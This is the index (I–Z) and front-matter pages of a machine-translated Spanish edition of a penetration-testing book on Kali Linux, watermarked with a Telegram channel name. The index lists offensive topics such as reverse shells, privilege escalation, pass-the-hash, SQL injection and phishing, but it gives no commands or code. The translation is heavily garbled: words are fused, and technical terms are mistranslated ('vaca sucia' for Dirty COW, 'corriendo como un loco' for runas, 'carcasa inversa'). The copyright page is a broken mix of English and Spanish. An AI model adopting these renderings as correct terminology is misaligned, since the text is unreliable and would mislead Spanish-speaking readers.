interceptar solicitudes de formularios, 149–150
Protocolo de mensajes de control de Internet (ICMP), 68
Recopilación de información en Internet
sobre, 89–90
huella pasiva, 90–103
reconocimiento, 90–103
Direccionamiento de protocolo de Internet (IP), 69–72
Motores de búsqueda de Internet, 90–94
Pestaña de intrusos (BurpSuite), 239–241
comando ipaddr , 43
comando ipconfig , 279–280
IPv4, 42–43, 69
Canal de Telegram : @IRFaraExam
Machine Translated by Google
IPv6, 70–71
Ficha Elementos (KaliXfceDesktop), 450
j
Java shell, 194
JavaScript, sin pasar por la validación, 207–208
Jenkins (Puerto 8080/50000), 145–147, 190–193
JMPInstrucción, 384–385
PARA
KaliLinuxEscritorio
sobre, 427
descarga de máquinas virtuales (VM), 428–429
Escritorio KaliXfce, 429–453
ejemplo práctico, 454–466
ejecutando máquinas virtuales (VM), 428–429
Escritorio KaliXfce, 429–453
Kennedy, David (líder de seguridad), 106
kernelexploits
sobre, 258
vaca sucia, 258–261
Ventanas, 287–293
combinaciones de teclas, Tmux, 7
transferencia de llaves, 189–190
Menú de teclado (KaliXfceDesktop), 445 atajos
de teclado, ventana de terminal Tmux, 10
Ficha del teclado (KaliXfceDesktop), 452
espacio de teclas, 339
Canal de Telegram : @IRFaraExam
Machine Translated by Google
comando matar , 42
I
ÿl comando, 15
labenvironment, edificio. Ver ventana acoplable (Port2375)
LANManager(LM), 306
último comando, 13
movimiento lateral. Ver movimiento pivotante y lateral
Ficha Layout(KaliXfceDesktop), 447
función len , 398
menos mando, 24–25
directorio /lib , 2
sangría de línea, 394
LinEnum, 271
Destino de host de Linux, 285–286
Escalada de privilegios de Linux
sobre, 257
scripts automatizados, 270–271
Trabajos CRON, 264–267
explotación de servicios en ejecución, 270
kernelexploits, 258–261
configuraciones faltantes, 258–261
anulación del archivo passwd , 263–
264 explotación de setuserID (SUID), 261–263
comando sudo , 268–269
LinuxExploitSuggester, 271
LinuxPrivChecker, 271
oyentes
Canal de Telegram : @IRFaraExam
Machine Translated by Google
cargas útiles y, 110–115
comenzando, 118
Littleendian, 360
anfitriones en vivo
identificar, 72–74 buscar,
418–419
cargandoBurpSuitePro, 232–233
Local (L), en CVSS, 347 inclusión
de archivo local (LFI), 218 reenvío de
puerto local, 314–315
localizar comando, 20
página de inicio de
sesión, 249 loopiteraciones, 404–
405 loops, Bashscriptingand, 57–62
/directorio perdido+encontrado , 3
Bajo (L), en CVSS, 347, 348 comando
ls , 15
comando lsblk , 24, 37
comando lsusb , 38
METRO
Maltego, 99
ataques de máscara , 339–342
/mediadirectory,3
miembros, 408
segmentos de memoria, 361
Ficha Menú (KaliXfceDesktop), 440–441
MessageDigest versión 5 (MD5), 321–322
Canal de Telegram : @IRFaraExam
Machine Translated by Google
MetasploitPrivEsc, 289–293
MetasploitPro, 169, 194–195
métodos, 408
MicrosoftSQLServer(Puerto1433), 142
Ventana del editor de tipos MIME (KaliXfceDesktop), 447
Mimikatz, 308–309
permisos de servicio mal configurados, 297–298
configuraciones faltantes, 258–261 directorio /mnt , 3
módulos, importando, 394
más mando, 25
comando de montaje , 38
directorios de montaje, 23–24
Ratón y ventana del panel táctil (KaliXfceDesktop), 448
Veneno de MSF, 195–196
MutillidaeDockercontainer, 474–475
Instalación de Mutillidae, 200–202
comando mv , 19, 20
MySQL (Puerto 3306), 143
norte
Nano,vim versus, 26–27
Neso, 162
comando netlocalgroup , 278
comando de usuario de red, 277
comando netsh , 281
comando netstat , 46
Red (N), en CVSS, 346
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Escaneo de hosts de red
sobre, 65
conceptos básicos de redes, 65–72
DNSenumeración, 84–88
exploración de redes, 72–84
interfaz de red, 42–45
husmeador de redes, 66
redes sobre,
42, 473–474
Sistema de nombres de dominio (DNS), 45–46
conexiones establecidas, 46–47
transferencias de archivos, 47–48
información, 279–282
interfaz de red, 42–45
Nexpose, 162
Nmap
sobre, 73–74, 246
enumeración avanzada, 137–138
scripting avanzado escanear con, 128–129, 131–132
enumeracion basica, 137
exploraciones, 76–77
comando nmapÿh , 79
NmapScriptingEngine (NSE), 80–84
Ninguno (N), en CVSS, 347, 348
NTLanManager(NLTM)hashes, 306–307 números, 395–
396
condiciones numéricas, 59
Canal de Telegram : @IRFaraExam
Machine Translated by Google
O
ubicación de desplazamiento, 382–383
función hash unidireccional, 320–321
inteligencia de código abierto (OSINT), 90
Capas de interconexión de sistemas abiertos (OSI), 68–69
OpenWebApplicationSecurityProject(OWASP)Top 10, 228–229
OpenVAS, análisis de vulnerabilidades con, 164–169 huellas
dactilares del sistema operativo, 79–80 directorio /opt , 3
argumentos opcionales, 401–402
Servidor de base de datos Oracle (Puerto 1521), 143
OSinformación, 36
salida, 394–395
PAGS
gestión de paquetes, 39–41
Ventana de panel (KaliXfceDesktop), 449
pasando el hash (PTH), 311–312 huella
pasiva, 90–103 recopilación de información
pasiva, 90–103
comando contraseña, 14–15 , 23
archivo passwd , invalidación, 263–264
sin contraseña SSH, 32–34 contraseñas
hash, 323–325
gestión, 14–15
reutilización, 310–312
parches, instalados, 276
Canal de Telegram : @IRFaraExam
Machine Translated by Google
creación de patrones,
carga útil 382
ejecutar, 289
inyectando, 386–388
oyentes y, 110–115
contenido de la carga útil, 227
Robot de prueba de penetración, 411–426
pruebas de penetración
sobre, 411
Robot de prueba de penetración, 411–426
informesen, 345–346
perla, 193
permisos, 16–19, 282–283, 286 suplantación
de identidad, 105
PHP
instalación, 201
carcasa, 194
Físico (P), en CVSS, 347
ping, 73
comando de ping , 73
pitchforkattack, 240
movimiento pivotante y lateral
sobre, 305
pivotingwithportredirection, 312–317
Hashes de Windows, 306–312
punteroregistros, 355
Instrucción POP, 371
Canal de Telegram : @IRFaraExam
Machine Translated by Google
POP3 (Puerto 110), 141–142
Escaneo de puertos y servicios, 74–76
reenvío de puertos, 312–314
números de puerto, 71–72
dirección de puerto , rotación con, 312–317 escaneo
de puertos y servicios, 420–423
Puerto Swigger, 232
Contenido del formulario POST, 150
Potencia Shell
sobre, 194
descargar guión, 120–121
ejecución de guión, 120–121
generar scripts, 118–122 shell
inverso usando USBRubberDuckyand, 117–118
corriendo, 120
PowerUp, 302–303
practicar Python, 392–393
presentingreports,349–351
función print_custom() , 57
comando imprimirf , 50–52
impresión
CLIargumentos, 395
a la pantalla en Bash, 50–52
clave privada, 32
PrivEscherramientas automatizadas, 302–303
Privilegio requerido (PR), en CVSS, 347 directorio /
proc , 2
Canal de Telegram : @IRFaraExam
Machine Translated by Google
gestión de procesos , 41–42 procesos,
listado, 283–284
Entorno de producción (implementación final) (SDLC), 255
base de
datos de protocolos, 142–143
correo electrónico, 136–142
intercambio de archivos, 154–158
comunicación remota gráfica, 152–153
redes, 66
apoderados
BurpSuit, 234
habilitación, 148–149
cadenas proxy,
comando de 316 ps , 41–42
PSExectotool, 296
clave pública, 32
PUSHinstrucción, 370–371
comando pwd , 23
Pitón. Ver también pruebas de penetración
sobre, 389
sintaxis básicas, 393–395
fundamentos de, 389–390
comentarios en, 393
scripts de depuración, 391–392
funciones, 400–402
paquetes, 414
practicando, 392–393
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ejecución de scripts , 390
envío de correo electrónico utilizando, 108–109
Shellcodescript, 387–388
técnico, 400–409 variable,
395–400
Pythonshebang, 393
Concha de pitón, 194
q
QualysScanner, 162
consultando bases de datos, 208–210
citas, 52
R
Rápido7, 162
RDP (Puerto 3389), 152–153
valores de lectura en listas, 399
Elemento de menú Usado recientemente (KaliXfceDesktop), 433
reconocimiento, 90–103
scripting de sitio cruzado reflejado (XSS), 203–204
registros, Docker, 469–470 permisos de registro, débil,
301
conexiones remotas
sin contraseña SSH, 32–34
Protocolo de escritorio remoto (RDP), 29
SecureShell (SSH), 30
SSH con credenciales, 30–31
Protocolo de escritorio remoto (RDP), 29
Canal de Telegram : @IRFaraExam
Machine Translated by Google
inclusión de archivos remotos (RFI), 219–220
reenvío de puertos remotos, mediante SSH, 315–316
carcasa remota, 386–388
renombrar ventanas, 7
Repeatertab(BurpSuite), 238–239 función de
reemplazo , 398
replicar ataques, usando USBRubberDucky, 122
informeresumen, 350
informes
sobre, 345
creando enBurpSuite, 244–245
pruebas de penetración, 345–346
presentación, 349–351
revisión, 167–169
gravedades de puntuación, 346–349
Obligatorio (R), en CVSS, 347
restablecer/cambiar contraseña, 249–250
recursos, 286
valores devueltos, 401
reutilización de hashes/contraseñas, 310–312
Ingeniería inversa. Ver lenguaje ensamblador e ingeniería inversa
carcasa inversa
sobre, 112–113, 121, 193–194
usandoSET, 113–115
usando USBRubberDucky y PowerShell, 117–118 usando con
Metasploit, 194–195
revisión de informes, 167–169
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Rivest Shamir Adleman (RSA), 329–331
comando rm , 19, 23
/ directorio raíz , 3
cáscara de raíz, 289
comando de impresión de ruta, 280
/ejecutar directorio, 3
corriendo
contenedores, 187
PowerShell, 120
Pythonscripts, 390
servicios, 38–39, 270
máquinas virtuales (VM), 428–429 como en
Windows, 295–296
S
directorio /sbin , 2
tareas de escáner, creación, 166–167
escaneo, para hosts activos, 418–419 tareas
programadas, explotación, 302
Alcance (S), en CVSS, 347
gravedades de puntuación, 346–349
pantalla, impresión a la, 50–52 guiones.
Véase también bashscripting
parámetros, 54–56
Pitón, 390–392
barra de búsqueda (KaliXfceDesktop), 430
motores de búsqueda, 90–94
SearchSploit, 171–172
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Algoritmo de hash seguro (SHA), 323
SecureShell (SSH) (Puerto 22)
sobre, 30, 130–134
con Credenciales, 30–31
uso de reenvío dinámico de puertos, 316–317
servicio de explotación, 178–179
conHydra, 132
generación de claves, 188–
189 uso de reenvío de puertos remotos, 315–
316 tunelización, 314–315
Archivo SecurityAccountManager (SAM), 306–307
registros de segmento, 355–356
self, 408
envío de correo electrónico, 106–110
cuentas de servicio, 286
ejecutable de servicio, reemplazando, 299
servicioscan, 127–128, 135
enumeración de servicios, 74–76, 77–79
explotación de servicios
sobre, 173
Estibador, 185-190
correo electrónico, 183–185
servicio FTP operativo, 173–177
servicio SSH operativo , 178–179
Jenkins, 190-193
carcasas inversas , 193–196
Protocolo SMB, 196–198
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Telnet, 179–183
en Windows, 297–302
gestión de sesiones, Tmux, 7–8
SET, bombardeo inverso, 113–115
explotación de setuserID (SUID), 261–263
Configuración (KaliXfceDesktop), 438–439
ver (Python), 393
Shodan, 91–92
SidePanetab (KaliXfceDesktop), 444
Protocolo de administración de red simple (SNMP (Puerto UDP 161)), 157–158
comillas simples, 52
inicio de sesión único (SSO), 310
SMB (Puerto 445), 154–157, 196–198
SMTP (Puerto 25), 137–141
husmear, para obtener información de texto claro, 180–183
ataque de francotirador,
240 ataques de ingeniería social
sobre, 105
oyentes, 110–115
cargas útiles, 110–115
ataques de spearphishing, 105–110 con
USBRubberDucky, 115–122
Kit de herramientas de ingeniería social (SET), 106
ciclo de vida de desarrollo de software (SDLC)
sobre, 250
Fase de análisis/arquitectura, 251–252
Fase de desarrollo, 252–255
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Fase del entorno de producción (implementación final), 255
Fase de prueba, 255
ordenar comando, 26
código spaghetti, 56–57
proyectiles de desove, 177
ataques de spearphishing, 105–110
función dividida , 398
dividir ventanas, 8
SQLinjection(SQLi) sobre, 208
automatización con SQLMap, 215–216
omitiendo la página de inicio de
sesión, 210 uso de comandos de base de datos ejecutivos ,
210–215 uso de comandos de base de datos ejecutivos mediante SQLi, 210–215
consultando base de datos, 208–210
prueba para, 216
SQLMap, SQLinjectionautomationwith, 215–216 directorio /srv , 3
desbordamiento de pila. Ver búfer/desbordamiento de pila
conjuntos de caracteres estáticos, 341
direccionamiento IP estático, 43–45
escaneo sigiloso, 75
secuencias de comandos cruzadas almacenadas (XSS), 204–205
modo directo, 336
condiciones de cadena, 59
cuerdas, 397–399
función de tira , 398
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Styletab(KaliXfceDesktop), 436–437, 452
su comando, 12, 14–15
subredes, 69–70
comando sudo , 12, 268–269
cifrado simétrico, 326
SYNscan, 75
sintaxis, Python, 393–395
directorio /sys , 2
gestión del sistema
sobre, 34–35
información de hardware, 36–38
información del anfitrión, 36
gestión de servicios en ejecución, 38–39
OSinformación, 36
gestión de paquetes, 39–41
gestión de procesos, 41–42
comando systeminfo , 274–275, 287–288
T
comando de cola , 24–25
extensión tar, 22
listas de objetivos, creación, 166
Targettab(BurpSuite), 234–236 tareas,
listado, 283–284
TCPportSYNscan, 75
Telnet (Puerto 23), 134–136, 179–183
Tenible, 162
terminalventana
Canal de Telegram : @IRFaraExam
Machine Translated by Google
sobre, 1
gestión de archivos/carpetas, 15–28
Sistema de archivos KaliLinux, 2–10
gestión de usuarios/grupos, 10–15
redes, 42–48
conexiones remotas, 29–34
gestión de sistemas, 34–42
pruebas
punto de referencia, 332–334
Conexión Docker, 185–186
para inyección SQL (SQLi), 216
stackoverflowand, 379–381
Fase de prueba (SDLC), 255
texto, filtrado/búsqueda, 27–28
caracteres de paisaje de texto, 407–409
archivos de texto , gestión, 24–26
theHarvester, 97–99
terceros, 252
apretón de manos de tres vías, 66
directorio /tmp , 3
Ventana Tmuxterminal, 6–10
comando táctil , 19
protocolos de transferencia
sobre, 126
Protocolo de transferencia de archivos (FTP) (Puerto 21), 126–130
SSH (Puerto 22), 130–134
Telnet (Puerto 23), 134–136
Canal de Telegram : @IRFaraExam
Machine Translated by Google
TransformHub, 99–103
Protocolo de control de transmisión (TCP), 66–67
niveles de confianza, 252
tunelización, SSH, 314–315 tuplas,
400
tu
UDPportscan, 75–76
comando uname , 36
Sin cambios (U), en CVSS, 347 comando
uniq , 26
ruta de servicio sin comillas, 299–301
comando de actualización , 39–40
actualización de elementos de lista,
399 comando de actualización , 39–40
subir página, 249
URLruta, 150
USBRubberDucky, ingeniería social con, 115–122
cuentas de usuario, 286
comandos de usuario, 10–13
Protocolo de datagrama de usuario (ARRIBA), 67
entrada de usuario, 56
Interacción del usuario (IU), en CVSS, 347
registro de usuario, 249
comando del usuario , 13
usuarios
enumerar, 138–141 enumerar,
277–279
Canal de Telegram : @IRFaraExam
Machine Translated by Google
managementinKali, 10–15
directorio /usr , 3
Aplicaciones habituales (KaliXfceDesktop), 432–433
V
validación, omisión, 225–226
valores
listas de lectura, 399
regresando, 401
directorio /var , 3
Variables
sobre, 52–54, 395
operadores aritméticos, 397
conjunto incorporado, 340–341
comandos, 54
diccionario, 400
mundial, 402
listado, 399–400
números, 395–396
cuerdas, 397–399
tuplas, 400
versiones escaneadas, 77–79
vim, Nano versus, 26–27
máquinas virtuales (VM), descarga y ejecución, 428–429
VisualStudioCode, para C/C++, 362–363
VNC (Puerto 5900), 153–154
volúmenes, 472–473
Comando VRFY , 138–139
Canal de Telegram : @IRFaraExam
Machine Translated by Google
VScode, instalación, 391–392
evaluación de vulnerabilidades
sobre, 162, 247
Investigación de exploits , 169–172
Exploración de vulnerabilidades con OpenVAS, 164–169
flujo de trabajo, 162–164
sección de vulnerabilidades, en informes, 350–351
aplicación vulnerable, 379
Aplicación Vulnserver, 379
EN
Vulnerabilidades de aplicaciones web
sobre, 199–200
inyección de comando , 217–220
falsificación de solicitud entre sitios, 220–223
secuencias de comandos entre sitios, 203–208
carga de archivos , 223–228
Instalación de Mutillidae, 200–202
OWASP Top 10, 228–229
Inyección SQL, 208–216
Webenumeración y explotación, 231–250
Portales web, fuerza bruta usando Hydra, 147–151
Protocolos web 80/443 , 151, 153–154 herramienta
wesng , 288
qué comando, 20–21, 177, 220
bucle while , 60–61, 404–405
comando whoami , 276–277
Base de datos Whois, 95–96
Canal de Telegram : @IRFaraExam
Machine Translated by Google
WindowManagerwindow(KaliXfceDesktop), 451–452
ventanas, 7–8
Windows (Microsoft)
arquitectura, 275
explotación de aplicaciones, 293–296
explotación de servicios en, 297–302
sistema operativo , 286–303
hashes, 306–312
destinohost, 284–285
kernelexploits, 287–293
PrivEscherramientas automatizadas, 302–303
corriendo como un loco, 295–296
Escalada de privilegios de Windows
sobre, 273
transferencias de archivos , 284–286
enumeración del sistema, 273–284
explotación del sistema, 286–303
WindowsPrivilegeEscalationAwesomeScripts(WinPEAS), 303
Wireshark, 66–67
Utilidad WMIC, 275–276
ataque a la lista de palabras, 336
flujo de trabajo, evaluación de vulnerabilidad, 162–164
Ventana de espacios de trabajo (KaliXfceDesktop), 450–451
CON
extensión .zip, 22
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Copyright©2021porJohnWiley&Sons,Inc.,Indianápolis,IndianaPublicadosimultáneamenteenCanadá
ISBN:978-1-119-71908-3
ISBN: 978-1-119-71964-9 (ebk)
ISBN: 978-1-119-71907-6 (ebk)
FabricadoenlosEstadosUnidosdeAmérica
Nopartofthispublicationmaybereproduced, anymeans storedinaretrievalsystemortransmittedinanyformorby, electrónico, mecánico,
fotocopia, grabación, scanningorotherwise, exceptaspermitted underSections107or108ofthe1976UnitedStatesCopyrightAct,
withouteitherthepriorwritten permissionofthePublisher, orauthorizationthroughpaymentoftheappropriateper-copyfeetothe
CopyrightClearanceCenter, 222RosewoodDrive, Danvers, MA01923, (978) 750-8400, fax (978) 6468600.RequeststothePublisherforpermissionshouldbeaddressedtothePermissionsDepartment, John Wiley&Sons,
Inc.,111RiverStreet,Hoboken,NJ07030,(201)748ÿ6011,fax(201)748ÿ6008,o línea en http://www.wiley.com/go/permissions .
LimitofLiability / DisclaimerofWarranty: Thepublisherandtheauthormakenorepresentationsor
warrantieswithrespecttotheaccuracyorcompletenessofthecontentsofthisworkandspecifically disclaimallwarranties,
includingwithoutlimitationwarrantiesoffitnessforaparticularpurpose.No
warrantymaybecreatedorextendedbysalesorpromotionalmaterials.Theadviceandstrategiescontained
hereinmaynotbesuitableforeverysituation.Thisworkissoldwiththeunderstandingthatthepublisheris notengagedinrenderinglegal, lo
que representa, orotherprofessionalservices.Ifprofessionalassistanceis requiere,
theservicesofacompetentprofessionalpersonshouldbesought.Neitherthepublishernorthe
authorshallbeliablefordamagesarisingherefrom.ThefactthatanorganizationorWebsiteisreferredto inthisworkasacitationand /
orapotentialsourceoffurtherinformationdoesnotmeanthattheauthoror
thepublisherendorsestheinformationtheorganizationorwebsitemayprovideorrecommendationsitmay make.Further, disapp
readersshouldbeawarethatInternetwebsiteslistedinthisworkmayhavechangedor oído entre cuando este trabajo fue escrito y cuando
se lee.
Para obtener información general sobre nuestros otros productos y servicios, comuníquese con nuestro Departamento de
Atención al Cliente dentro de los Estados Unidos al (877) 762ÿ2974, fuera de los Estados Unidos al (317) 572ÿ3993 o fax (317)
572ÿ 4002.
Wiley publica una variedad de formatos impresos y electrónicos y mediante impresión bajo
demanda. Algunos materiales incluidos con las versiones impresas estándar de este libro pueden
no estar incluidos en libros o en impresión bajo demanda . .
Para obtener información sobre los productos Wiley,
visite www.wiley.com .
Número de control de la Biblioteca del Congreso: 2021904285
Marcas comerciales: Wiley y el logotipo de Wiley son marcas comerciales o marcas comerciales registradas de John Wiley &
Sons, Inc. y/o sus filiales, en los Estados Unidos y en otros países, y no puede usarse sin permiso por escrito. Linux es una marca
comercial registrada de Linus Torvalds. Todas las demás marcas comerciales son propiedad de sus respectivos dueños. John
Wiley & Sons, Inc. no está asociado con ningún producto o proveedor mencionado en este libro.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Sobre el Autor
GusKhawaja es un experto en seguridad de aplicaciones y pruebas de penetración. He es
consultor de seguridad cibernética en Montreal, Canadá, y tiene una gran experiencia
trabajando con organizaciones para proteger sus activos de ataques cibernéticos. He es un
autor publicado e instructor en línea en el campo de la seguridad cibernética.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Acerca del editor técnico
Corey Ball es un experto en seguridad cibernética con más de 10
años de experiencia en TI y liderazgo en seguridad cibernética. Se
especializa en pruebas de penetración de API, aplicaciones web y redes.
Actualmente cuenta con más de 10 certificaciones de seguridad
cibernética, incluidas OSCP , CISSP, CISM y CCISO. Tiene una
licenciatura en artes en inglés y filosofía de CSU Sacramento.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Expresiones de gratitud
He tenido la suerte de compartir mi conocimiento y experiencia con mi audiencia a través
de Wiley. Espero que este conocimiento lo convierta en el mejor experto en su carrera
como probador de penetración.
Estoy especialmente agradecido a mi familia que me apoyó para entregar 18
capítulos completos de este libro.
Tengo la suerte de tener experiencia previa en programación que me ayudó mucho en mi
carrera como probador de penetración y como experto en seguridad de aplicaciones.
Te darás cuenta de que en estos días, tener habilidades en la arquitectura de aplicaciones
web te permitirá dominar esta carrera.
Finalmente, me gustaría agradecer a los miembros del equipo de Wiley que me apoyaron
durante el viaje de escribir este increíble libro. ¡Sin este apoyo, este libro nunca habría visto
la luz del día!
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ACUERDO DE LICENCIA DE USUARIO FINAL DE WILEY
Vaya a www.wiley.com/go/eula para acceder al EULA del libro electrónico de Wiley.
Canal de Telegram : @IRFaraExam
Descargar